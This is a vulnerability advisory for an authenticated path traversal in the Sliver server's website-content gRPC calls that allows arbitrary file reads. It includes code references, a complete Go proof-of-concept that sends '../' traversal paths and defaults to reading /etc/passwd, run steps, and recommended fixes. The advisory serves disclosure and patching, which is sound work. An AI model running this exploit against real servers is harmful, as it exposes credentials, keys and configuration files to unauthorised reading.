Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)

Summary

A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated Path Traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.

Affected Component

• Website content management (gRPC): WebsiteAddContent, Website, Websites
• Server-side file read in Website.ToProtobuf

Impact

• Arbitrary file read as the Sliver server OS user.
• Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.

Root Cause

The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.

Vulnerable Code References

• server/rpc/rpc-website.go:100 — accepts content.Path from operator RPC and persists it via website.AddContent
• server/db/models/website.go:52 — reads from disk with filepath.Join(webContentDir, webcontent.Path) without validating or constraining webcontent.Path

Proof of Concept (PoC)

Steps (local test)

1. Build the server:
   bash go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server
2. Create an operator config (permission all for website operations):
   bash ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp
3. Start the daemon:
   bash ./sliver-server daemon -l 127.0.0.1 -p 31337
4. Run the PoC:
   bash GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts

PoC Code

package main

import (
    "context"
    "flag"
    "fmt"
    "os"
    "path/filepath"
    "runtime"
    "strings"
    "time"

    "github.com/bishopfox/sliver/client/assets"
    "github.com/bishopfox/sliver/client/transport"
    "github.com/bishopfox/sliver/protobuf/clientpb"
)

func main() {
    var (
        configPath  string
        websiteName string
        targetPath  string
        webPath     string
        maxBytes    int
    )
    flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
    flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
    flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
    flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
    flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
    flag.Parse()

    if targetPath == "" {
        if runtime.GOOS == "windows" {
            targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
        } else {
            targetPath = "/etc/passwd"
        }
    }

    if webPath == "" {
        trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
        webPath = "../../../../../../../../" + trimmed
    }

    config, err := loadConfig(configPath)
    if err != nil {
        fatalf("config error: %v", err)
    }

    rpc, conn, err := transport.MTLSConnect(config)
    if err != nil {
        fatalf("connect error: %v", err)
    }
    defer conn.Close()

    ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
    defer cancel()

    _, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
        Name: websiteName,
        Contents: map[string]*clientpb.WebContent{
            webPath: {
                Path:        webPath,
                ContentType: "text/plain",
                Content:     []byte("poc"),
            },
        },
    })
    if err != nil {
        fatalf("WebsiteAddContent failed: %v", err)
    }

    resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
    if err != nil {
        fatalf("Website failed: %v", err)
    }

    var leaked *clientpb.WebContent
    for _, c := range resp.Contents {
        if c.Path == webPath {
            leaked = c
            break
        }
    }
    if leaked == nil {
        fatalf("did not find content for path %q", webPath)
    }

    data := leaked.Content
    if len(data) > maxBytes {
        data = data[:maxBytes]
    }

    fmt.Printf("[+] target: %s\n", targetPath)
    fmt.Printf("[+] web-path: %s\n", webPath)
    fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
    fmt.Printf("[+] preview:\n%s\n", string(data))
}

func loadConfig(path string) (*assets.ClientConfig, error) {
    if path != "" {
        return assets.ReadConfig(path)
    }
    configs := assets.GetConfigs()
    if len(configs) == 0 {
        return nil, fmt.Errorf("no configs found; use -config")
    }
    if len(configs) > 1 {
        return nil, fmt.Errorf("multiple configs found; use -config")
    }
    for _, c := range configs {
        return c, nil
    }
    return nil, fmt.Errorf("unexpected config error")
}

func fatalf(format string, args ...any) {
    fmt.Fprintf(os.Stderr, format+"\n", args...)
    os.Exit(1)
}

Expected Output (example)

[+] target: /etc/hosts
[+] web-path: ../../../../../../../../etc/hosts
[+] leaked bytes: 409
[+] preview:
127.0.0.1   localhost
...

Evidence (Screenshots)

<img width="930" height="649" alt="path-traversal-poc" src="https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe" />

Why It Works

• WebsiteAddContent accepts a path like ../../../../etc/hosts and stores it.
• Website returns content by calling Website.ToProtobuf, which reads from disk using the stored Path value.
• filepath.Join does not prevent traversal, so the server reads from outside the web directory.

Recommended Fix

• Validate and reject paths that are absolute or contain .. in WebsiteAddContent (server side).
• Canonicalize paths and enforce they remain within the web content directory.
• Avoid reading content by Path in Website.ToProtobuf; read by content ID instead.

Notes

• This issue requires an authenticated operator account with sufficient permissions (PermissionAll).
• The PoC demonstrates reading /etc/hosts but can target any readable server file.